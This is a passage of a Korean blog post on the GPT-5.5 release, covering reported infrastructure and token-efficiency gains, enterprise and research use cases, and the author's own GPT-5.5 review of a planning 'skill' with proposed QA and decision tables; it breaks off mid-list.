&lt;p data-ke-size=&quot;size16&quot;&gt;이번 발표에서 가장 주목받은 대목은 GPT-5.5(Codex)가 OpenAI 자사의 서빙 인프라를 스스로 최적화했다는 사실이다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 16px 20px; border-radius: 0 8px 8px 0; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Codex가 프로덕션 트래픽 패턴을 분석하고, 부하 분산을 위한 자체 휴리스틱 알고리즘을 작성해 토큰 생성 속도를 20% 이상 향상시켰다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사례는 AI가 단순 코드 보조를 넘어, 실제 프로덕션 시스템의 성능 엔지니어링을 수행할 수 있음을 OpenAI가 공개적으로 시연한 것이다. GPT-5.5 자신이 자신의 서빙 속도를 높인 셈이다. 공개 발표에서 확인된 수치는 &quot;20% 이상&quot;이며, 구체적인 알고리즘 세부 사항은 공개되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;토큰 효율성 향상 추정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI는 GPT-5.5가 GPT-5.4와 동일한 토큰당 지연시간(per-token latency)을 유지하면서, 동일한 Codex 작업에 현저히 적은 토큰을 사용한다고 밝혔다. 이를 기반으로 추정하면 GPT-5.5는 훈련 효율성이나 추론 최적화 측면에서 전작 대비 상당한 개선이 이뤄진 것으로 보인다. 다만 정확한 모델 규모나 아키텍처 변경 사항은 공개되지 않았으므로, 이 부분은 추정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section-5&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 사용 경험 리서치 + 직접 만든 GPT-5.5 게임 6선&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;엔터프라이즈 도입 사례&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YLkBD/dJMb997dS93/RsbOKR6Mf4BffsJqWzj7ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YLkBD/dJMb997dS93/RsbOKR6Mf4BffsJqWzj7ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YLkBD/dJMb997dS93/RsbOKR6Mf4BffsJqWzj7ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYLkBD%2FdJMb997dS93%2FRsbOKR6Mf4BffsJqWzj7ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;1068&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;BNY(뉴욕멜론은행): 220개 AI 사용 사례&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BNY의 Leigh-Ann Russell은 GPT-5.5 도입 효과에 대해 이렇게 밝혔다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 16px 20px; border-radius: 0 8px 8px 0; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;5.5에서 실제로 중요하게 보고 있는 것은 응답 품질과 더불어 인상적인 환각 저항성입니다. 은행은 매우 높은 정확도가 필요하므로 이는 매우 중요합니다. 220개 이상의 AI 사용 사례를 스케일업하는 데 도움이 됩니다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;은행처럼 정확도가 생명인 곳에서 환각 저항성이 얼마나 중요한 변수인지 잘 보여주는 사례다. 220개 AI 사용 사례를 이미 돌리고 있는 기관이 환각 저항성을 선택 근거로 들었다면, 마케팅이 아닌 실제 검증 결과다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI 내부 재무팀: K-1 세금 양식 71,637페이지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI 자체 재무팀이 Codex GPT-5.5를 활용해 71,637페이지, 24,771개의 K-1 세금 양식을 검토하고 전년 대비 작업 시간을 2주 단축했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자가 인상적이다. 7만 페이지 세무 서류를 AI가 검토해서 2주 단축. 단순 보조 도구 이상이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;면역학 교수 Derya Unutmaz: 28,000개 유전자 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면역학 교수 Derya Unutmaz는 28,000개 유전자가 포함된 데이터 분석으로 수개월치 연구 보고서를 완성했다. 대규모 바이오인포매틱스 데이터 처리에서 1M 컨텍스트가 실제로 쓰인 사례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;수학 앱 11분 완성과 램지 수 증명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Greg Brockman이 인용한 사례에서, 한 수학 교수가 GPT-5.5와 Codex를 써서 프롬프트 하나로 11분 만에 대수기하학 앱을 완성했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI 내부 수학 연구팀은 GPT-5.5를 활용해 조합론 난제인 비대각 램지 수(Ramsey numbers)에 대한 새로운 수학적 증명을 발견했고, Lean으로 공식 검증을 완료했다. 수학 연구에서 AI가 발견 기여자로 등장한 사례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 나도 내가 사용하고 있는 스킬 개선 계획을 한번 GPT5.5 모델을 통해 세워보게 하였다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1434&quot; data-origin-height=&quot;94&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Dzztt/dJMcaciz2Iz/hOQRSVTBmRQacM5zK2Ura1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Dzztt/dJMcaciz2Iz/hOQRSVTBmRQacM5zK2Ura1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Dzztt/dJMcaciz2Iz/hOQRSVTBmRQacM5zK2Ura1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDzztt%2FdJMcaciz2Iz%2FhOQRSVTBmRQacM5zK2Ura1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1434&quot; height=&quot;94&quot; data-origin-width=&quot;1434&quot; data-origin-height=&quot;94&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 해당스킬이 어떤건지, 개선안이 유효한지는 볼 것 까진 없을 것 같지만, 얼마나 오랜기간 생각을했고, 어떤 제안을 줬는지 이력을 남겨는 두려고 한다. 10분 넘게 작업을 한것 같아서 정확히 걸린 시간은 보지 못했지만, 엄청 깊은 분석을 했음에 확실한 내용은 받아볼 수 있었다.&amp;nbsp;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp;검토&amp;nbsp;방식&lt;br /&gt;&lt;br /&gt;이번&amp;nbsp;작업은&amp;nbsp;skill-creator&amp;nbsp;관점도&amp;nbsp;함께&amp;nbsp;사용했습니다.&lt;br /&gt;현재&amp;nbsp;작업은&amp;nbsp;스킬(skill)&amp;nbsp;자체를&amp;nbsp;고치는&amp;nbsp;문제라서,&amp;nbsp;기존&amp;nbsp;context-planner&amp;nbsp;문서만&amp;nbsp;보는&amp;nbsp;것보다&amp;nbsp;&amp;ldquo;좋은&amp;nbsp;스킬&amp;nbsp;파일은&amp;nbsp;어떻게&amp;nbsp;구성되고&amp;nbsp;운영되어야&amp;nbsp;하는가&amp;rdquo;라는&amp;nbsp;기준도&amp;nbsp;함께&amp;nbsp;보는&amp;nbsp;것이&amp;nbsp;더&amp;nbsp;적절했습니다.&lt;br /&gt;&lt;br /&gt;검토한&amp;nbsp;주요&amp;nbsp;대상은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;skill-creator의&amp;nbsp;SKILL.md&lt;br /&gt;-&amp;nbsp;context-planner의&amp;nbsp;SKILL.md&lt;br /&gt;-&amp;nbsp;README.md&lt;br /&gt;-&amp;nbsp;AGENTS.md&lt;br /&gt;-&amp;nbsp;context-planner-prompt.md&lt;br /&gt;-&amp;nbsp;plan-template.md&lt;br /&gt;-&amp;nbsp;plan-template-lite.md&lt;br /&gt;-&amp;nbsp;plan-template-full.md&lt;br /&gt;-&amp;nbsp;playbook.md&lt;br /&gt;-&amp;nbsp;context-pack-spec.md&lt;br /&gt;-&amp;nbsp;prompt-pack.md&lt;br /&gt;-&amp;nbsp;generate-spec.js&lt;br /&gt;-&amp;nbsp;cases/*/plan.md&lt;br /&gt;-&amp;nbsp;examples/*.md&lt;br /&gt;-&amp;nbsp;docs/retro/2026-04-24-spec-review/*.md&lt;br /&gt;&lt;br /&gt;작업&amp;nbsp;경로&amp;nbsp;예시는&amp;nbsp;다음과&amp;nbsp;같이&amp;nbsp;확인했습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;/Users/dedur/work/context-to-planning&lt;br /&gt;-&amp;nbsp;/Users/dedur/work/context-to-planning/generate-spec.js&lt;br /&gt;-&amp;nbsp;/Users/dedur/work/context-to-planning/.claude/skills/context-planner/SKILL.md&lt;br /&gt;&lt;br /&gt;2.&amp;nbsp;함께&amp;nbsp;검토한&amp;nbsp;역할&lt;br /&gt;&lt;br /&gt;여러&amp;nbsp;관점에서&amp;nbsp;보기&amp;nbsp;위해&amp;nbsp;다음&amp;nbsp;역할을&amp;nbsp;나누어&amp;nbsp;검토했습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;prompt-engineer&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;프롬프트&amp;nbsp;구조와&amp;nbsp;스킬&amp;nbsp;실행&amp;nbsp;흐름을&amp;nbsp;검토했습니다.&lt;br /&gt;-&amp;nbsp;documentation-engineer&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;README,&amp;nbsp;AGENTS,&amp;nbsp;onboarding&amp;nbsp;문서처럼&amp;nbsp;사용자가&amp;nbsp;읽는&amp;nbsp;문서를&amp;nbsp;검토했습니다.&lt;br /&gt;-&amp;nbsp;code-reviewer&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;generate-spec.js와&amp;nbsp;관련&amp;nbsp;코드&amp;nbsp;구조를&amp;nbsp;검토했습니다.&lt;br /&gt;-&amp;nbsp;research-analyst&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;회고&amp;nbsp;문서와&amp;nbsp;실제&amp;nbsp;산출물의&amp;nbsp;문제&amp;nbsp;패턴을&amp;nbsp;비교했습니다.&lt;br /&gt;&lt;br /&gt;3.&amp;nbsp;전체&amp;nbsp;결론&lt;br /&gt;&lt;br /&gt;현재&amp;nbsp;context-planner&amp;nbsp;스킬의&amp;nbsp;방향은&amp;nbsp;틀리지&amp;nbsp;않았습니다.&lt;br /&gt;plan.md는&amp;nbsp;범위,&amp;nbsp;Open&amp;nbsp;Question(OQ),&amp;nbsp;source&amp;nbsp;같은&amp;nbsp;중요한&amp;nbsp;정보를&amp;nbsp;비교적&amp;nbsp;잘&amp;nbsp;보존하고&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;문제는&amp;nbsp;스킬&amp;nbsp;자체가&amp;nbsp;완전히&amp;nbsp;실패했다는&amp;nbsp;것이&amp;nbsp;아닙니다.&lt;br /&gt;핵심&amp;nbsp;문제는&amp;nbsp;다음&amp;nbsp;문서와&amp;nbsp;코드&amp;nbsp;사이의&amp;nbsp;약속이&amp;nbsp;명확하지&amp;nbsp;않다는&amp;nbsp;점입니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;plan.md&lt;br /&gt;-&amp;nbsp;template&amp;nbsp;문서&lt;br /&gt;-&amp;nbsp;README&amp;nbsp;/&amp;nbsp;AGENTS&amp;nbsp;/&amp;nbsp;onboarding&amp;nbsp;문서&lt;br /&gt;-&amp;nbsp;generate-spec.js&lt;br /&gt;-&amp;nbsp;spec.pptx&amp;nbsp;생성&amp;nbsp;로직&lt;br /&gt;&lt;br /&gt;쉽게&amp;nbsp;말하면,&amp;nbsp;plan.md에는&amp;nbsp;중요한&amp;nbsp;내용이&amp;nbsp;잘&amp;nbsp;들어가&amp;nbsp;있는데,&amp;nbsp;이&amp;nbsp;내용을&amp;nbsp;PPTX로&amp;nbsp;바꾸는&amp;nbsp;과정에서&amp;nbsp;의미가&amp;nbsp;줄어들거나&amp;nbsp;잘못&amp;nbsp;표현될&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;특히&amp;nbsp;QA,&amp;nbsp;완료&amp;nbsp;기준,&amp;nbsp;착수&amp;nbsp;판단&amp;nbsp;같은&amp;nbsp;내용은&amp;nbsp;사람이&amp;nbsp;읽을&amp;nbsp;때는&amp;nbsp;어느&amp;nbsp;정도&amp;nbsp;이해할&amp;nbsp;수&amp;nbsp;있지만,&amp;nbsp;PPTX&amp;nbsp;생성기가&amp;nbsp;읽을&amp;nbsp;때는&amp;nbsp;구조가&amp;nbsp;명확하지&amp;nbsp;않아&amp;nbsp;정보가&amp;nbsp;손상될&amp;nbsp;가능성이&amp;nbsp;큽니다.&lt;br /&gt;&lt;br /&gt;4.&amp;nbsp;핵심&amp;nbsp;문제&amp;nbsp;1:&amp;nbsp;QA와&amp;nbsp;완료&amp;nbsp;기준&amp;nbsp;구조가&amp;nbsp;약함&lt;br /&gt;&lt;br /&gt;현재&amp;nbsp;plan-template-lite.md의&amp;nbsp;완료&amp;nbsp;기준은&amp;nbsp;자유로운&amp;nbsp;bullet&amp;nbsp;형태로&amp;nbsp;되어&amp;nbsp;있습니다.&lt;br /&gt;반면&amp;nbsp;generate-spec.js는&amp;nbsp;기대&amp;nbsp;결과가&amp;nbsp;없으면&amp;nbsp;기본값으로&amp;nbsp;&amp;ldquo;Pass&amp;rdquo;를&amp;nbsp;넣는&amp;nbsp;구조가&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;관련&amp;nbsp;위치는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;/Users/dedur/work/.claude/skills/context-planner/references/plan-template-lite.md:65&lt;br /&gt;-&amp;nbsp;/Users/dedur/work/context-to-planning/generate-spec.js:208&lt;br /&gt;-&amp;nbsp;/Users/dedur/work/context-to-planning/generate-spec.js:1411&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;구조의&amp;nbsp;문제는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;완료&amp;nbsp;기준이&amp;nbsp;구체적인&amp;nbsp;테스트&amp;nbsp;조건으로&amp;nbsp;정리되지&amp;nbsp;않을&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;-&amp;nbsp;기대&amp;nbsp;결과가&amp;nbsp;비어&amp;nbsp;있으면&amp;nbsp;&amp;ldquo;Pass&amp;rdquo;&amp;nbsp;같은&amp;nbsp;너무&amp;nbsp;단순한&amp;nbsp;값으로&amp;nbsp;대체될&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;-&amp;nbsp;결과적으로&amp;nbsp;QA&amp;nbsp;담당자가&amp;nbsp;실제로&amp;nbsp;무엇을&amp;nbsp;확인해야&amp;nbsp;하는지&amp;nbsp;알기&amp;nbsp;어려워질&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;-&amp;nbsp;PPTX에서는&amp;nbsp;검증&amp;nbsp;내용이&amp;nbsp;있어&amp;nbsp;보이지만,&amp;nbsp;실제&amp;nbsp;테스트&amp;nbsp;기준으로는&amp;nbsp;부족할&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;개선&amp;nbsp;방향은&amp;nbsp;완료&amp;nbsp;기준을&amp;nbsp;표로&amp;nbsp;바꾸는&amp;nbsp;것입니다.&lt;br /&gt;&lt;br /&gt;권장&amp;nbsp;컬럼은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;ID&lt;br /&gt;-&amp;nbsp;검증&amp;nbsp;시나리오&lt;br /&gt;-&amp;nbsp;기대&amp;nbsp;결과&lt;br /&gt;-&amp;nbsp;우선순위&lt;br /&gt;-&amp;nbsp;테스트&amp;nbsp;데이터&amp;nbsp;또는&amp;nbsp;조건&lt;br /&gt;-&amp;nbsp;상태&lt;br /&gt;&lt;br /&gt;예시는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;|&amp;nbsp;ID&amp;nbsp;|&amp;nbsp;검증&amp;nbsp;시나리오&amp;nbsp;|&amp;nbsp;기대&amp;nbsp;결과&amp;nbsp;|&amp;nbsp;우선순위&amp;nbsp;|&amp;nbsp;테스트&amp;nbsp;데이터/조건&amp;nbsp;|&amp;nbsp;상태&amp;nbsp;|&lt;br /&gt;|---|---|---|---|---|---|&lt;br /&gt;|&amp;nbsp;QA-01&amp;nbsp;|&amp;nbsp;사용자가&amp;nbsp;필수&amp;nbsp;값을&amp;nbsp;입력하고&amp;nbsp;저장한다&amp;nbsp;|&amp;nbsp;저장&amp;nbsp;성공&amp;nbsp;메시지가&amp;nbsp;표시된다&amp;nbsp;|&amp;nbsp;High&amp;nbsp;|&amp;nbsp;정상&amp;nbsp;입력값&amp;nbsp;|&amp;nbsp;Ready&amp;nbsp;|&lt;br /&gt;|&amp;nbsp;QA-02&amp;nbsp;|&amp;nbsp;사용자가&amp;nbsp;필수&amp;nbsp;값을&amp;nbsp;비우고&amp;nbsp;저장한다&amp;nbsp;|&amp;nbsp;필수&amp;nbsp;입력&amp;nbsp;안내&amp;nbsp;메시지가&amp;nbsp;표시된다&amp;nbsp;|&amp;nbsp;High&amp;nbsp;|&amp;nbsp;빈&amp;nbsp;입력값&amp;nbsp;|&amp;nbsp;Ready&amp;nbsp;|&lt;br /&gt;|&amp;nbsp;QA-03&amp;nbsp;|&amp;nbsp;Open&amp;nbsp;Question에&amp;nbsp;걸린&amp;nbsp;조건을&amp;nbsp;확인한다&amp;nbsp;|&amp;nbsp;조건&amp;nbsp;확정&amp;nbsp;전까지&amp;nbsp;테스트가&amp;nbsp;Blocked로&amp;nbsp;표시된다&amp;nbsp;|&amp;nbsp;Medium&amp;nbsp;|&amp;nbsp;OQ-01&amp;nbsp;의존&amp;nbsp;|&amp;nbsp;Blocked&amp;nbsp;|&lt;br /&gt;&lt;br /&gt;5.&amp;nbsp;핵심&amp;nbsp;문제&amp;nbsp;2:&amp;nbsp;착수&amp;nbsp;판단과&amp;nbsp;Open&amp;nbsp;Question&amp;nbsp;의미가&amp;nbsp;PPTX에서&amp;nbsp;약해짐&lt;br /&gt;&lt;br /&gt;plan.md&amp;nbsp;안에는&amp;nbsp;다음과&amp;nbsp;같은&amp;nbsp;중요한&amp;nbsp;판단이&amp;nbsp;들어&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;지금&amp;nbsp;바로&amp;nbsp;시작&amp;nbsp;가능한지&lt;br /&gt;-&amp;nbsp;보류해야&amp;nbsp;하는지&lt;br /&gt;-&amp;nbsp;2Phase로&amp;nbsp;넘겨야&amp;nbsp;하는지&lt;br /&gt;-&amp;nbsp;fallback이&amp;nbsp;필요한지&lt;br /&gt;-&amp;nbsp;Open&amp;nbsp;Question(OQ)이&amp;nbsp;어떤&amp;nbsp;작업을&amp;nbsp;막고&amp;nbsp;있는지&lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;generate-spec.js는&amp;nbsp;일부&amp;nbsp;구간에서&amp;nbsp;&amp;ldquo;가능&amp;rdquo;이라는&amp;nbsp;단어가&amp;nbsp;들어간&amp;nbsp;bullet만&amp;nbsp;뽑는&amp;nbsp;방식으로&amp;nbsp;동작할&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;관련&amp;nbsp;위치는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;/Users/dedur/work/context-to-planning/generate-spec.js:1236&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;방식의&amp;nbsp;문제는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;&amp;ldquo;보류&amp;nbsp;권고&amp;rdquo;&amp;nbsp;같은&amp;nbsp;중요한&amp;nbsp;판단이&amp;nbsp;빠질&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;-&amp;nbsp;&amp;ldquo;2Phase&amp;nbsp;이관&amp;rdquo;&amp;nbsp;같은&amp;nbsp;일정&amp;nbsp;판단이&amp;nbsp;약하게&amp;nbsp;표현될&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;-&amp;nbsp;fallback&amp;nbsp;조건이&amp;nbsp;사라질&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;-&amp;nbsp;Open&amp;nbsp;Question이&amp;nbsp;단순&amp;nbsp;메모처럼&amp;nbsp;보일&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;개선&amp;nbsp;방향은&amp;nbsp;착수&amp;nbsp;판단을&amp;nbsp;표로&amp;nbsp;분리하는&amp;nbsp;것입니다.&lt;br /&gt;&lt;br /&gt;권장&amp;nbsp;구조는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;|&amp;nbsp;판단&amp;nbsp;항목&amp;nbsp;|&amp;nbsp;상태&amp;nbsp;|&amp;nbsp;이유&amp;nbsp;|&amp;nbsp;관련&amp;nbsp;OQ&amp;nbsp;|&amp;nbsp;다음&amp;nbsp;행동&amp;nbsp;|&lt;br /&gt;|---|---|---|---|---|&lt;br /&gt;|&amp;nbsp;즉시&amp;nbsp;착수&amp;nbsp;|&amp;nbsp;가능&amp;nbsp;/&amp;nbsp;불가&amp;nbsp;|&amp;nbsp;바로&amp;nbsp;개발&amp;nbsp;가능한&amp;nbsp;이유&amp;nbsp;또는&amp;nbsp;불가능한&amp;nbsp;이유&amp;nbsp;|&amp;nbsp;OQ-번호&amp;nbsp;|&amp;nbsp;착수&amp;nbsp;/&amp;nbsp;확인&amp;nbsp;필요&amp;nbsp;|&lt;br /&gt;|&amp;nbsp;보류&amp;nbsp;권고&amp;nbsp;|&amp;nbsp;예&amp;nbsp;/&amp;nbsp;아니오&amp;nbsp;|&amp;nbsp;보류해야&amp;nbsp;하는&amp;nbsp;이유&amp;nbsp;|&amp;nbsp;OQ-번호&amp;nbsp;|&amp;nbsp;보류&amp;nbsp;또는&amp;nbsp;조건&amp;nbsp;확인&amp;nbsp;|&lt;br /&gt;|&amp;nbsp;2Phase&amp;nbsp;이관&amp;nbsp;|&amp;nbsp;예&amp;nbsp;/&amp;nbsp;아니오&amp;nbsp;|&amp;nbsp;후속&amp;nbsp;단계로&amp;nbsp;넘기는&amp;nbsp;이유&amp;nbsp;|&amp;nbsp;OQ-번호&amp;nbsp;|&amp;nbsp;2Phase&amp;nbsp;범위로&amp;nbsp;이동&amp;nbsp;|&lt;br /&gt;|&amp;nbsp;fallback&amp;nbsp;필요&amp;nbsp;|&amp;nbsp;예&amp;nbsp;/&amp;nbsp;아니오&amp;nbsp;|&amp;nbsp;실패&amp;nbsp;시&amp;nbsp;대체&amp;nbsp;흐름이&amp;nbsp;필요한&amp;nbsp;이유&amp;nbsp;|&amp;nbsp;OQ-번호&amp;nbsp;|&amp;nbsp;fallback&amp;nbsp;설계&amp;nbsp;|&lt;br /&gt;&lt;br /&gt;이렇게&amp;nbsp;하면&amp;nbsp;사람이&amp;nbsp;보기도&amp;nbsp;쉽고,&amp;nbsp;PPTX로&amp;nbsp;변환할&amp;nbsp;때도&amp;nbsp;정보가&amp;nbsp;덜&amp;nbsp;손상됩니다.&lt;br /&gt;&lt;br /&gt;6.&amp;nbsp;핵심&amp;nbsp;문제&amp;nbsp;3:&amp;nbsp;문서가&amp;nbsp;중복되어&amp;nbsp;서로&amp;nbsp;다른&amp;nbsp;말을&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있음&lt;br /&gt;&lt;br /&gt;현재&amp;nbsp;다음&amp;nbsp;문서들이&amp;nbsp;비슷한&amp;nbsp;내용을&amp;nbsp;반복해서&amp;nbsp;담고&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;SKILL.md&lt;br /&gt;-&amp;nbsp;README.md&lt;br /&gt;-&amp;nbsp;AGENTS.md&lt;br /&gt;-&amp;nbsp;context-planner-prompt.md&lt;br /&gt;-&amp;nbsp;docs/onboarding.html&lt;br /&gt;&lt;br /&gt;문제는&amp;nbsp;같은&amp;nbsp;규칙이&amp;nbsp;여러&amp;nbsp;문서에&amp;nbsp;나뉘어&amp;nbsp;있으면&amp;nbsp;시간이&amp;nbsp;지나면서&amp;nbsp;서로&amp;nbsp;내용이&amp;nbsp;달라질&amp;nbsp;수&amp;nbsp;있다는&amp;nbsp;점입니다.&lt;br /&gt;&lt;br /&gt;예를&amp;nbsp;들어&amp;nbsp;다음&amp;nbsp;항목들이&amp;nbsp;문서마다&amp;nbsp;다르게&amp;nbsp;적힐&amp;nbsp;가능성이&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;실행&amp;nbsp;명령&lt;br /&gt;-&amp;nbsp;입력&amp;nbsp;파일&amp;nbsp;이름&lt;br /&gt;-&amp;nbsp;출력&amp;nbsp;파일&amp;nbsp;이름&lt;br /&gt;-&amp;nbsp;스킬을&amp;nbsp;언제&amp;nbsp;실행해야&amp;nbsp;하는지&lt;br /&gt;-&amp;nbsp;PPTX&amp;nbsp;생성&amp;nbsp;조건&lt;br /&gt;-&amp;nbsp;QA&amp;nbsp;기준&lt;br /&gt;-&amp;nbsp;Open&amp;nbsp;Question&amp;nbsp;처리&amp;nbsp;방식&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;문제는&amp;nbsp;스킬&amp;nbsp;품질&amp;nbsp;문제라기보다&amp;nbsp;운영&amp;nbsp;방식의&amp;nbsp;문제에&amp;nbsp;가깝습니다.&lt;br /&gt;&lt;br /&gt;개선&amp;nbsp;방향은&amp;nbsp;&amp;ldquo;기준&amp;nbsp;문서&amp;nbsp;하나&amp;rdquo;를&amp;nbsp;정하고&amp;nbsp;나머지&amp;nbsp;문서는&amp;nbsp;그&amp;nbsp;기준을&amp;nbsp;짧게&amp;nbsp;안내하는&amp;nbsp;방식으로&amp;nbsp;바꾸는&amp;nbsp;것입니다.&lt;br /&gt;&lt;br /&gt;권장&amp;nbsp;역할&amp;nbsp;분리는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;SKILL.md&lt;br 